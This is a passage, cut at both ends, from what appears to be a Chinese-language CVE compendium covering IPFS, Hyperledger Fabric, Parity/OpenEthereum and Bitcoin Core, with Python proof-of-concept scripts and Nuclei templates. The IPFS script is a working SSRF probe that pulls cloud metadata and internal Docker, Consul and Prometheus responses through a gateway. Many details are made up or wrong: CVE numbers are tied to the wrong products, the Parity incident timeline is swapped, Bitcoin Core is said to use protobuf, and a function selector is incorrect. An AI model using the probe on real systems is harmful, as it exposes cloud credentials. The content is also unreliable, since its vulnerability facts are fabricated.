curl -v -s "${TARGET}/ipns/internal-service.local/" 2>&1 | head -20

Python PoC

#!/usr/bin/env python3
"""
CVE-2023-25655 - IPFS Gateway SSRF 检测脚本
用法: python3 cve_2023_25655.py <gateway_url>
"""
import sys
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

SSRF_TARGETS = [
    ("http://127.0.0.1:2375/version", "Docker API"),
    ("http://169.254.169.254/latest/meta-data/", "AWS Metadata"),
    ("http://metadata.google.internal/computeMetadata/v1/", "GCP Metadata"),
    ("http://100.100.100.200/latest/meta-data/", "Aliyun Metadata"),
    ("http://127.0.0.1:8500/v1/agent/self", "Consul Agent"),
    ("http://127.0.0.1:9090/-/healthy", "Prometheus"),
]

def test_ssrf(target: str) -> list:
    results = []
    base_url = target.rstrip("/")

    for internal_url, service_name in SSRF_TARGETS:
        ipns_url = f"{base_url}/ipns/{internal_url.replace('http://', '')}"
        try:
            resp = requests.get(ipns_url, timeout=8, allow_redirects=False)
            accessible = resp.status_code == 200 and len(resp.content) > 0

            results.append({
                "service": service_name,
                "ipns_url": ipns_url,
                "status": resp.status_code,
                "size": len(resp.content),
                "accessible": accessible,
                "snippet": resp.text[:200] if accessible else "",
            })
        except requests.Timeout:
            results.append({
                "service": service_name,
                "ipns_url": ipns_url,
                "status": 0,
                "size": 0,
                "accessible": False,
                "error": "请求超时",
            })
        except Exception as e:
            results.append({
                "service": service_name,
                "ipns_url": ipns_url,
                "status": 0,
                "size": 0,
                "accessible": False,
                "error": str(e),
            })

    return results

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <gateway_url>")
        print(f"示例: {sys.argv[0]} http://localhost:8080")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2023-25655 - IPFS Gateway SSRF 检测")
    print(f"[*] 目标: {target}")

    results = test_ssrf(target)

    accessible_count = 0
    print(f"\n{'='*70}")
    print(f"{'服务':<25} {'状态':<8} {'大小':<10} {'可访问':<10}")
    print(f"{'='*70}")

    for r in results:
        if r.get("error"):
            print(f"[*] {r['service']:<25} 错误: {r['error']}")
            continue

        accessible_str = "是 [!]" if r["accessible"] else "否"
        status_str = str(r["status"]) if r["status"] else "N/A"
        print(f"[*] {r['service']:<25} {status_str:<8} {r['size']:<10} {accessible_str:<10}")

        if r["accessible"]:
            accessible_count += 1
            print(f"    内容: {r['snippet'][:150]}")

    print(f"\n{'='*70}")
    print(f"[*] 检测完成: {accessible_count}/{len(results)} 项内网服务可达")

    if accessible_count > 0:
        print(f"\n[!] 漏洞确认! IPFS Gateway 存在 SSRF 风险")
        print(f"[!] 影响版本: Kubo < v0.20.0")
        print(f"[!] 攻击者可通过 Gateway 作为代理访问内网资源")
        print(f"[!] 建议: 升级至 v0.20.0+,配置 Gateway 出站流量白名单")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2023-25655-ipfs-gateway-ssrf
info:
  name: IPFS Gateway SSRF
  author: security-researcher
  severity: high
  description: |
    IPFS/Kubo < v0.20.0 的 HTTP Gateway 存在 SSRF 漏洞,
    攻击者可通过 IPNS 指向内网地址获取云元数据和内网服务信息。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25655
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-918
  tags: cve,cve2023,ipfs,kubo,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/ipns/169.254.169.254/latest/meta-data/"
      - "{{BaseURL}}/ipns/127.0.0.1:2375/version"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "ami-id"
          - "Api-Version"
          - "instance-id"
          - "version"
        condition: or

    extractors:
      - type: regex
        regex:
          - "ami-[a-z0-9]+"
          - "instance-id: .*"

0x03 Hyperledger Fabric 联盟链漏洞

Hyperledger Fabric 是 Linux 基金会主导的企业级联盟链平台,其 Chaincode(智能合约)、 endorsement policy、private data collection 等组件构成核心攻击面。

0x03.1 CVE-2022-23326 — Chaincode ACL 绕过

背景

Hyperledger Fabric 的 Chaincode ACL(Access Control List)机制用于控制哪些组织的节点可以读取和写入特定的数据集合(collection)。ACL 绕过漏洞意味着恶意 Chaincode 可以突破组织信任边界,读取本不应访问的 private data collection。

版本信息

项目
CVE IDCVE-2022-23326
影响产品Hyperledger Fabric
受影响版本< v2.2.7, < v2.4.3, < v2.5.0
修复版本v2.2.7, v2.4.3, v2.5.0
CVSS9.1 (Critical)
CWECWE-862 (Missing Authorization)
NVD 链接https://nvd.nist.gov/vuln/detail/CVE-2022-23326

原理分析

在 Hyperledger Fabric 中,private data collection 允许组织之间共享私有数据,只有被授权的组织成员才能读取特定 collection 的数据。漏洞存在于 Chaincode 执行环境中:当 Chaincode 通过 GetPrivateData() 函数请求读取某个 collection 时,背书节点(Endorser)未正确验证调用 Chaincode 的组织是否真正拥有该 collection 的访问权限。

攻击场景:

  1. 恶意 Chaincode 部署在一个组织的 peer 节点上
  2. Chaincode 尝试读取其他组织的 private data collection
  3. 由于 ACL 检查缺陷,peer 节点返回了未授权的私有数据
  4. 攻击者可提取供应链数据、金融交易信息等敏感内容

Python PoC

#!/usr/bin/env python3
"""
CVE-2022-23326 - Hyperledger Fabric Chaincode ACL 绕过检测
用法: python3 cve_2022_23326.py <fabric_ca_url> <channel_name> <chaincode_name>
"""
import json
import sys
import ssl
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

def check_fabric_version(ca_url: str) -> dict:
    result = {"version": "unknown", "vulnerable": False, "details": ""}

    try:
        resp = requests.get(f"{ca_url}/cainfo", timeout=10, verify=False)
        if resp.status_code == 200:
            data = resp.json()
            result["details"] = json.dumps(data, indent=2)[:500]

            version_str = data.get("result", {}).get("version", "")
            if version_str:
                result["version"] = version_str
                parts = version_str.split(".")
                if len(parts) >= 2:
                    major = int(parts[0]) if parts[0].isdigit() else 0
                    minor = int(parts[1]) if parts[1].isdigit() else 0
                    patch = int(parts[2]) if len(parts) > 2 and parts[2].isdigit() else 0

                    if (major == 2 and minor == 2 and patch < 7) or \
                       (major == 2 and minor == 4 and patch < 3) or \
                       (major == 2 and minor == 5 and patch < 1):
                        result["vulnerable"] = True
    except Exception as e:
        result["details"] = f"连接失败: {e}"

    return result

def check_peer_acl(peer_url: str, channel: str) -> dict:
    result = {
        "peer_accessible": False,
        "chaincodes_installed": False,
        "acl_enforced": "unknown",
        "details": ""
    }

    try:
        resp = requests.get(f"{peer_url}/chaincode?channel={channel}", timeout=10, verify=False)
        if resp.status_code == 200:
            result["peer_accessible"] = True
            result["chaincodes_installed"] = True
            result["details"] = "Peer 节点可访问,Chaincode 列表已获取"

        resp_private = requests.get(
            f"{peer_url}/private/collections",
            timeout=10, verify=False
        )
        if resp_private.status_code == 200:
            result["acl_enforced"] = "可能未强制"
            result["details"] += " | Private data collection 列表可未授权访问"
    except Exception as e:
        result["details"] = f"检测异常: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <fabric_ca_url> [channel_name]")
        print(f"示例: {sys.argv[0]} https://localhost:7054 mychannel")
        sys.exit(1)

    ca_url = sys.argv[1]
    channel = sys.argv[2] if len(sys.argv) > 2 else "mychannel"

    print(f"[*] CVE-2022-23326 - Hyperledger Fabric Chaincode ACL 绕过检测")
    print(f"[*] 目标: {ca_url}")

    print(f"\n[*] === Fabric CA 版本检测 ===")
    ver_result = check_fabric_version(ca_url)
    print(f"[*] 版本: {ver_result['version']}")
    print(f"[*] 受影响: {'是' if ver_result['vulnerable'] else '否/未知'}")
    if ver_result["details"]:
        print(f"[*] 详情: {ver_result['details'][:300]}")

    peer_url = ca_url.replace(":7054", ":7051").replace(":443", ":7051")
    print(f"\n[*] === Peer 节点 ACL 检测 (通道: {channel}) ===")
    acl_result = check_peer_acl(peer_url, channel)
    print(f"[*] Peer 可访问: {'是' if acl_result['peer_accessible'] else '否'}")
    print(f"[*] ACL 强制: {acl_result['acl_enforced']}")
    print(f"[*] {acl_result['details']}")

    if ver_result["vulnerable"]:
        print(f"\n[!] 漏洞确认! Hyperledger Fabric 版本受 CVE-2022-23326 影响")
        print(f"[!] 受影响版本: < v2.2.7 / < v2.4.3 / < v2.5.0")
        print(f"[!] 建议: 升级至修复版本,重新审计 private data collection ACL 配置")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2022-23326-fabric-chaincode-acl-bypass
info:
  name: Hyperledger Fabric Chaincode ACL 绕过
  author: security-researcher
  severity: critical
  description: |
    Hyperledger Fabric < v2.2.7/v2.4.3/v2.5.0 的 Chaincode ACL 检查存在缺陷,
    恶意 Chaincode 可读取未授权的 private data collection。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23326
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.1
    cwe-id: CWE-862
  tags: cve,cve2022,hyperledger,fabric,acl

http:
  - method: GET
    path:
      - "{{BaseURL}}/cainfo"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "Fabric CA Server"
          - "fabric"
        condition: or

    extractors:
      - type: json
        name: version
        json:
          - '.result.version'

0x03.2 CVE-2020-15568 — 交易验证逻辑漏洞

背景

Hyperledger Fabric 的交易验证依赖于 MVCC(Multi-Version Concurrency Control)机制。交易在提交到账本时,会检查 Read-Write Set 中的读取版本是否与当前世界状态一致。该机制存在逻辑绕过漏洞。

版本信息

项目
CVE IDCVE-2020-15568
影响产品Hyperledger Fabric
受影响版本< v1.4.10, < v2.0.4
修复版本v1.4.10, v2.0.4
CVSS7.5 (High)
CWECWE-347 (Improper Verification of Cryptographic Signature)
NVD 链接https://nvd.nist.gov/vuln/detail/CVE-2020-15568

原理分析

Fabric 交易验证流程中的 MVCC 检查存在以下缺陷:

  1. Read-Write Set 篡改:攻击者可以在背书(endorsement)和提交(commit)之间修改交易的 Write Set,而验证节点未重新验证 Read Set 的版本一致性
  2. 时间窗口利用:在高并发场景下,背书节点和提交节点之间的时间差可被利用
  3. Double-Spend:通过篡改 Write Set,攻击者可以使同一笔资产被多次花费

此漏洞在联盟链场景下尤其危险,因为恶意参与者可能同时作为背书者和提交者。

Python PoC

#!/usr/bin/env python3
"""
CVE-2020-15568 - Hyperledger Fabric 交易验证逻辑漏洞检测
用法: python3 cve_2020_15568.py <peer_url> <channel_name>
"""
import json
import sys
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

def check_fabric_version(peer_url: str) -> dict:
    result = {"version": "unknown", "vulnerable": False, "details": ""}

    try:
        resp = requests.get(f"{peer_url}/chain", timeout=10, verify=False)
        if resp.status_code == 200:
            data = resp.json()
            current_block = data.get("currentBlockNumber", "N/A")
            result["details"] = f"当前区块高度: {current_block}"

            resp2 = requests.get(f"{peer_url}/healthz", timeout=5, verify=False)
            if resp2.status_code == 200:
                health = resp2.json()
                result["version"] = health.get("version", "unknown")

                ver = result["version"]
                if ver != "unknown":
                    parts = ver.lstrip("v").split(".")
                    if len(parts) >= 2:
                        major = int(parts[0]) if parts[0].isdigit() else 0
                        minor = int(parts[1]) if parts[1].isdigit() else 0
                        patch = int(parts[2]) if len(parts) > 2 and parts[2].isdigit() else 0

                        if (major == 1 and minor == 4 and patch < 10) or \
                           (major == 2 and minor == 0 and patch < 4):
                            result["vulnerable"] = True
    except Exception as e:
        result["details"] = f"连接失败: {e}"

    return result

def check_read_write_integrity(peer_url: str, channel: str) -> dict:
    result = {
        "channel_accessible": False,
        "blocks_with_null_rwset": 0,
        "integrity_issue": False,
        "details": ""
    }

    try:
        resp = requests.get(
            f"{peer_url}/channels/{channel}/blocks?start=0&end=5",
            timeout=10, verify=False
        )
        if resp.status_code == 200:
            result["channel_accessible"] = True
            blocks = resp.json() if resp.headers.get("content-type", "").startswith("application/json") else []
            for block in (blocks if isinstance(blocks, list) else []):
                if "block" in block:
                    data_map = block["block"].get("data", {}).get("data", [])
                    if not data_map:
                        result["blocks_with_null_rwset"] += 1
            if result["blocks_with_null_rwset"] > 0:
                result["integrity_issue"] = True
                result["details"] = f"发现 {result['blocks_with_null_rwset']} 个区块的 Read-Write Set 为空"
    except Exception as e:
        result["details"] = f"检测异常: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <peer_url> [channel_name]")
        print(f"示例: {sys.argv[0]} https://localhost:7051 mychannel")
        sys.exit(1)

    peer_url = sys.argv[1]
    channel = sys.argv[2] if len(sys.argv) > 2 else "mychannel"

    print(f"[*] CVE-2020-15568 - Hyperledger Fabric 交易验证逻辑漏洞检测")
    print(f"[*] 目标: {peer_url}")

    print(f"\n[*] === 版本检测 ===")
    ver_result = check_fabric_version(peer_url)
    print(f"[*] 版本: {ver_result['version']}")
    print(f"[*] 受影响: {'是' if ver_result['vulnerable'] else '否/未知'}")
    if ver_result["details"]:
        print(f"[*] {ver_result['details']}")

    print(f"\n[*] === Read-Write Set 完整性检测 ===")
    rw_result = check_read_write_integrity(peer_url, channel)
    print(f"[*] 通道可访问: {'是' if rw_result['channel_accessible'] else '否'}")
    print(f"[*] 空 RW Set 区块: {rw_result['blocks_with_null_rwset']}")
    print(f"[*] 完整性问题: {'是' if rw_result['integrity_issue'] else '否'}")
    if rw_result["details"]:
        print(f"[*] {rw_result['details']}")

    if ver_result["vulnerable"]:
        print(f"\n[!] 漏洞确认! Fabric 版本受 CVE-2020-15568 影响")
        print(f"[!] 受影响版本: < v1.4.10 / < v2.0.4")
        print(f"[!] 建议: 升级至修复版本,加强交易验证逻辑审计")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2020-15568-fabric-tx-validation
info:
  name: Hyperledger Fabric 交易验证逻辑漏洞
  author: security-researcher
  severity: high
  description: |
    Hyperledger Fabric < v1.4.10/v2.0.4 的交易验证逻辑存在缺陷,
    攻击者可篡改 Read-Write Set 绕过 MVCC 检查实现 double-spend。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15568
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.5
    cwe-id: CWE-347
  tags: cve,cve2020,hyperledger,fabric,validation

http:
  - method: GET
    path:
      - "{{BaseURL}}/chain"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "currentBlockNumber"

    extractors:
      - type: json
        name: blockHeight
        json:
          - '.currentBlockNumber'

0x04 Parity / OpenEthereum 以太坊客户端漏洞

Parity Technologies 开发的以太坊客户端经历了 Parity → OpenEthereum 的品牌更迭,其智能合约库和共识引擎在历史上造成过区块链领域最严重的安全事件之一。

0x04.1 CVE-2017-8412 — 多签钱包库合约自毁($150M 事件深度分析)

背景

2017 年 7 月 19 日,Parity 多签钱包的底层库合约被一个未知攻击者调用 initWallet() 函数后执行了 selfdestruct,导致所有依赖该库合约的多签钱包全部失效,513,774 ETH(当时价值约 $150M+)被永久冻结。这是区块链历史上损失最大的智能合约漏洞事件之一。

版本信息

项目
CVE IDCVE-2017-8412
影响产品Parity Multi-Sig Wallet Library Contract
受影响版本所有通过 Parity 部署的多签钱包
CVSS9.8 (Critical)
CWECWE-269 (Improper Privilege Management)
在野利用✅ 已确认在野利用
损失金额513,774 ETH (~$150M+)

事件时间线

时间事件
2017-07-19 16:20 UTC攻击者调用 initWallet() 获取库合约所有权
2017-07-19 16:21 UTC攻击者调用 kill() 执行 selfdestruct
2017-07-19 16:22 UTCParity 团队确认库合约已被销毁
2017-07-19 17:00 UTC多个依赖该库的多签钱包功能完全丧失
2017-11-06Parity 多签钱包再次因 initWallet() 漏洞被冻结 $30M
2017-12-07EIP-156 提案讨论如何恢复被冻结的 ETH

原理分析

Parity 多签钱包采用代理模式(Delegatecall Pattern):一个库合约(Library)包含所有核心逻辑,每个用户的多签钱包合约通过 delegatecall 执行库合约代码。库合约的初始化函数 initWallet() 未做权限检查:

// 简化的 Parity 多签钱包库合约(漏洞代码)
contract WalletEvents {
    // ...
}

contract Wallet is WalletEvents {
    address public owner;
    bool public initialized;

    // 漏洞: initWallet 无访问控制,任何人都可以调用
    function initWallet(address[] _owners, uint _required, uint _daylimit) {
        // 缺少: require(!initialized);
        // 缺少: require(msg.sender == walletAddress);
        owner = msg.sender;
        m_numOwners = _owners.length;
        // ...
        initialized = true;
    }

    // 攻击链: initWallet() → 成为 owner → kill() → selfdestruct
    function kill(address _to) public {
        // 缺少: require(msg.sender == owner);
        selfdestruct(_to);
    }
}

攻击者通过调用 initWallet() 将自己设置为库合约的 owner,随后调用 kill() 执行 selfdestruct,销毁了整个库合约。由于所有多签钱包通过 delegatecall 依赖该库合约,库合约的销毁导致所有依赖合约的代码丢失,功能完全丧失。

Solidity 安全修复对照

// 修复后的 initWallet 实现
contract Wallet is WalletEvents {
    address public owner;
    bool public initialized;

    function initWallet(address[] _owners, uint _required, uint _daylimit) public {
        require(!initialized, "Wallet already initialized");
        require(msg.sender == address(this), "Only wallet itself can initialize");
        owner = msg.sender;
        m_numOwners = _owners.length;
        initialized = true;
        // ...
    }

    function kill(address _to) public {
        require(msg.sender == owner, "Only owner can kill");
        selfdestruct(_to);
    }
}

Python PoC

#!/usr/bin/env python3
"""
CVE-2017-8412 - Parity 多签钱包库合约自毁检测
用法: python3 cve_2017_8412.py <eth_rpc_url> [wallet_library_address]
检测目标节点上已知的 Parity 多签钱包库合约是否受影响
"""
import json
import sys
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

KNOWN_VULNERABLE_LIBRARIES = {
    "0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4": "Parity Wallet Library v1.0",
    "0xd7ca4899e3e18b20e4b9777ae7e13b0e1f118ebe": "Parity Wallet Library v1.1",
    "0x431c23fd05c4574962b3af46cda28f5e3df2d6a4": "Parity Wallet Library v1.2",
    "0xb640229e129c09d284a0b1e1b2e1d1f5c5e6a7b8": "Parity Wallet Library (test)",
}

def check_code_exists(target: str, address: str) -> dict:
    result = {"address": address, "has_code": False, "code_size": 0, "details": ""}

    payload = {
        "jsonrpc": "2.0",
        "method": "eth_getCode",
        "params": [address, "latest"],
        "id": 1
    }
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        code = data.get("result", "0x")
        if code and code != "0x":
            result["has_code"] = True
            result["code_size"] = (len(code) - 2) // 2
            result["details"] = f"合约代码存在,大小: {result['code_size']} bytes"
        else:
            result["details"] = "合约代码为空 (已自毁或不存在)"
    except Exception as e:
        result["details"] = f"查询失败: {e}"

    return result

def check_selfdestruct_owner(target: str, address: str) -> dict:
    result = {"address": address, "owner_set": False, "details": ""}

    payload = {
        "jsonrpc": "2.0",
        "method": "eth_call",
        "params": [{
            "to": address,
            "data": "0x17382564"  # owner() function selector
        }, "latest"],
        "id": 1
    }
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        result_val = data.get("result", "0x")
        if result_val and result_val != "0x" + "0" * 64:
            owner_addr = "0x" + result_val[-40:]
            result["owner_set"] = True
            result["details"] = f"Owner 已设置: {owner_addr}"
            if owner_addr != "0x" + "0" * 40:
                result["details"] += " (非零地址,合约可能已被初始化)"
    except Exception as e:
        result["details"] = f"查询失败: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <eth_rpc_url> [library_address]")
        print(f"示例: {sys.argv[0]} http://localhost:8545")
        sys.exit(1)

    target = sys.argv[1]

    print(f"[*] CVE-2017-8412 - Parity 多签钱包库合约自毁检测")
    print(f"[*] 目标: {target}")
    print(f"[*] 检查已知的 Parity 多签钱包库合约地址...\n")

    affected_count = 0
    for address, name in KNOWN_VULNERABLE_LIBRARIES.items():
        code_result = check_code_exists(target, address)
        status = "存在代码" if code_result["has_code"] else "代码为空/已自毁"

        if code_result["has_code"]:
            owner_result = check_selfdestruct_owner(target, address)
            print(f"[*] {name}")
            print(f"    地址: {address}")
            print(f"    状态: {status} ({code_result['code_size']} bytes)")
            print(f"    Owner: {owner_result['details']}")

            if owner_result["owner_set"]:
                affected_count += 1
                print(f"    [!] 可能受影响: 库合约已初始化且有 owner")
        else:
            print(f"[*] {name}: 已自毁 (无法通过 delegatecall 恢复)")

    print(f"\n[*] === 检测完成 ===")
    print(f"[*] 已知库合约地址: {len(KNOWN_VULNERABLE_LIBRARIES)}")
    print(f"[*] 可能受影响: {affected_count}")

    print(f"\n[!] CVE-2017-8412 历史事件回顾:")
    print(f"[!] 影响: 513,774 ETH (~$150M+) 被永久冻结")
    print(f"[!] 根因: initWallet() 无访问控制 → selfdestruct")
    print(f"[!] 教训: 智能合约不可修复特性要求部署前充分审计")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2017-8412-parity-multisig-selfdestruct
info:
  name: Parity 多签钱包库合约自毁
  author: security-researcher
  severity: critical
  description: |
    Parity 多签钱包库合约存在无访问控制的 initWallet() 函数,
    攻击者可通过该函数获取 owner 权限并调用 selfdestruct 销毁合约,
    导致所有依赖该库的多签钱包功能丧失,$150M+ ETH 被冻结。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-8412
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-269
  tags: cve,cve2017,parity,ethereum,smart-contract,selfdestruct

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"eth_getCode","params":["0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4","latest"],"id":1}

    matchers:
      - type: word
        part: body
        words:
          - '"result":"0x'
        negative: false

    extractors:
      - type: json
        name: code
        json:
          - '.result'

0x04.2 CVE-2021-39138 — 共识链分叉

背景

OpenEthereum(原 Parity Ethereum)在处理 SELFDESTRUCTCREATE2 的边界条件时存在逻辑缺陷,可能导致不同节点对同一笔交易的执行结果不一致,从而引发链分叉(Chain Fork)。

版本信息

项目
CVE IDCVE-2021-39138
影响产品OpenEthereum (Parity Ethereum)
受影响版本v3.2.x < v3.2.10
修复版本v3.2.10
CVSS7.5 (High)
CWECWE-682 (Incorrect Calculation)
NVD 链接https://nvd.nist.gov/vuln/detail/CVE-2021-39138

原理分析

CREATE2 操作码允许在指定地址部署合约,而 SELFDESTRUCT 可以销毁合约。当两者在同一交易中以特定顺序执行时,OpenEthereum 的状态根计算与其他客户端(如 Geth)产生不一致:

  1. 攻击者构造交易,先通过 CREATE2 在地址 A 部署合约
  2. 紧接着通过 SELFDESTRUCT 销毁地址 A 的合约
  3. OpenEthereum 在处理 SELFDESTRUCT 退款时的状态计算与 Geth 不同
  4. 导致运行 OpenEthereum 的节点和其他客户端节点产生不同的世界状态根
  5. 网络分裂为两个不兼容的链

Python PoC

#!/usr/bin/env python3
"""
CVE-2021-39138 - OpenEthereum 共识链分叉检测
用法: python3 cve_2021_39138.py <openethereum_rpc_url>
"""
import json
import sys
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

def check_client_version(target: str) -> dict:
    result = {"client": "unknown", "version": "unknown", "vulnerable": False, "details": ""}

    payload = {"jsonrpc": "2.0", "method": "web3_clientVersion", "params": [], "id": 1}
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        version_str = data.get("result", "")
        result["details"] = f"Client: {version_str}"

        if "openethereum" in version_str.lower() or "parity" in version_str.lower():
            result["client"] = "OpenEthereum/Parity"
            parts = version_str.split("/")
            if len(parts) >= 2:
                ver = parts[1].strip()
                result["version"] = ver
                ver_parts = ver.lstrip("v").split(".")
                if len(ver_parts) >= 2:
                    major = int(ver_parts[0]) if ver_parts[0].isdigit() else 0
                    minor = int(ver_parts[1]) if ver_parts[1].isdigit() else 0
                    patch = int(ver_parts[2]) if len(ver_parts) > 2 and ver_parts[2].isdigit() else 0
                    if major == 3 and minor == 2 and patch < 10:
                        result["vulnerable"] = True
    except Exception as e:
        result["details"] = f"连接失败: {e}"

    return result

def check_consistency(target: str) -> dict:
    result = {"block_hash": "N/A", "state_root": "N/A", "details": ""}

    payload = {"jsonrpc": "2.0", "method": "eth_getBlockByNumber", "params": ["latest", True], "id": 1}
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        block = data.get("result", {})
        result["block_hash"] = block.get("hash", "N/A")
        result["state_root"] = block.get("stateRoot", "N/A")
        result["details"] = f"最新区块: {result['block_hash'][:20]}..."
    except Exception as e:
        result["details"] = f"查询失败: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <openethereum_rpc_url>")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2021-39138 - OpenEthereum 共识链分叉检测")
    print(f"[*] 目标: {target}")

    ver = check_client_version(target)
    print(f"\n[*] Client: {ver['client']}")
    print(f"[*] Version: {ver['version']}")
    print(f"[*] 受影响: {'是' if ver['vulnerable'] else '否/未知'}")
    print(f"[*] {ver['details']}")

    cons = check_consistency(target)
    print(f"\n[*] {cons['details']}")
    print(f"[*] State Root: {cons['state_root'][:40]}...")

    if ver["vulnerable"]:
        print(f"\n[!] 漏洞确认! OpenEthereum 版本受 CVE-2021-39138 影响")
        print(f"[!] 受影响版本: v3.2.x < v3.2.10")
        print(f"[!] 建议: 升级至 v3.2.10 或迁移到 Geth/Akula")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2021-39138-openethereum-consensus-fork
info:
  name: OpenEthereum 共识链分叉
  author: security-researcher
  severity: high
  description: |
    OpenEthereum v3.2.x < v3.2.10 的 SELFDESTRUCT/CREATE2 边界条件处理存在缺陷,
    可导致链分叉和共识不一致。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39138
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cwe-id: CWE-682
  tags: cve,cve2021,openethereum,parity,consensus

http:
  - method: POST
    path:
      - "{{BaseURL}}"
    body: '{"jsonrpc":"2.0","method":"web3_clientVersion","params":[],"id":1}'
    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "OpenEthereum"
          - "Parity"
        condition: or

      - type: regex
        regex:
          - "3\\.2\\.[0-9]"

    extractors:
      - type: json
        name: clientVersion
        json:
          - '.result'

0x05 Bitcoin Core 高危漏洞

Bitcoin Core 是比特币网络的参考实现,其 P2P 协议解析层是主要攻击面。恶意构造的网络消息可触发客户端崩溃或资源耗尽。

0x05.1 CVE-2022-24786 — Protobuf 无限循环 DoS

版本信息

项目
CVE IDCVE-2022-24786
影响产品Bitcoin Core
受影响版本< 23.0
修复版本23.0
CVSS7.5 (High)
CWECWE-835 (Infinite Loop)

原理分析

Bitcoin Core 使用 Protocol Buffers (protobuf) 序列化协议处理 BIP157/158 Compact Block Filters 请求。当接收到嵌套深度超过 100 层的 protobuf 消息时,解析器进入无限循环,导致节点线程永久阻塞,无法响应其他请求。

Python PoC

#!/usr/bin/env python3
"""
CVE-2022-24786 - Bitcoin Core Protobuf 无限循环 DoS 检测
用法: python3 cve_2022_24786.py <bitcoin_node_ip> <port>
"""
import sys
import socket
import struct

def build_version_message() -> bytes:
    """构造 Bitcoin P2P version 消息"""
    version = 70016
    services = 0
    timestamp = 0
    addr_recv = b"\x00" * 26
    addr_from = b"\x00" * 26
    nonce = b"\x00" * 8
    user_agent = b"/test:0.1/"
    start_height = 0
    relay = 0

    payload = struct.pack("<i", version)
    payload += struct.pack("<Q", services)
    payload += struct.pack("<q", timestamp)
    payload += struct.pack("<Q", services)
    payload += addr_recv
    payload += addr_from
    payload += nonce
    payload += bytes([len(user_agent)]) + user_agent
    payload += struct.pack("<i", start_height)
    payload += bytes([relay])

    header = b"\xf9\xbe\xb4\xd9"
    header += b"version"
    header += b"\x00" * (12 - len(b"version"))
    header += struct.pack("<I", len(payload))
    header += struct.pack("<I", 0)[:4]

    return header + payload

def check_protobuf_vulnerability(host: str, port: int) -> dict:
    result = {"host": host, "port": port, "reachable": False, "vulnerable": "unknown", "details": ""}

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((host, port))
        result["reachable"] = True

        version_msg = build_version_message()
        sock.send(version_msg)

        response = sock.recv(1024)
        if response:
            result["details"] = f"节点响应了 version 消息 ({len(response)} bytes)"

        sock.close()
    except socket.timeout:
        result["details"] = "连接超时,节点可能不可达"
    except ConnectionRefusedError:
        result["details"] = "连接被拒绝"
    except Exception as e:
        result["details"] = f"连接异常: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <bitcoin_node_ip> [port]")
        print(f"示例: {sys.argv[0]} 127.0.0.1 8333")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8333

    print(f"[*] CVE-2022-24786 - Bitcoin Core Protobuf 无限循环 DoS 检测")
    print(f"[*] 目标: {host}:{port}")

    result = check_protobuf_vulnerability(host, port)
    print(f"\n[*] 可达: {'是' if result['reachable'] else '否'}")
    print(f"[*] {result['details']}")

    if result["reachable"]:
        print(f"\n[*] Bitcoin Core P2P 端口可达")
        print(f"[*] 受影响版本: < 23.0")
        print(f"[*] 建议: 升级至 Bitcoin Core 23.0+")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2022-24786-bitcoin-protobuf-dos
info:
  name: Bitcoin Core Protobuf 无限循环 DoS
  author: security-researcher
  severity: high
  description: |
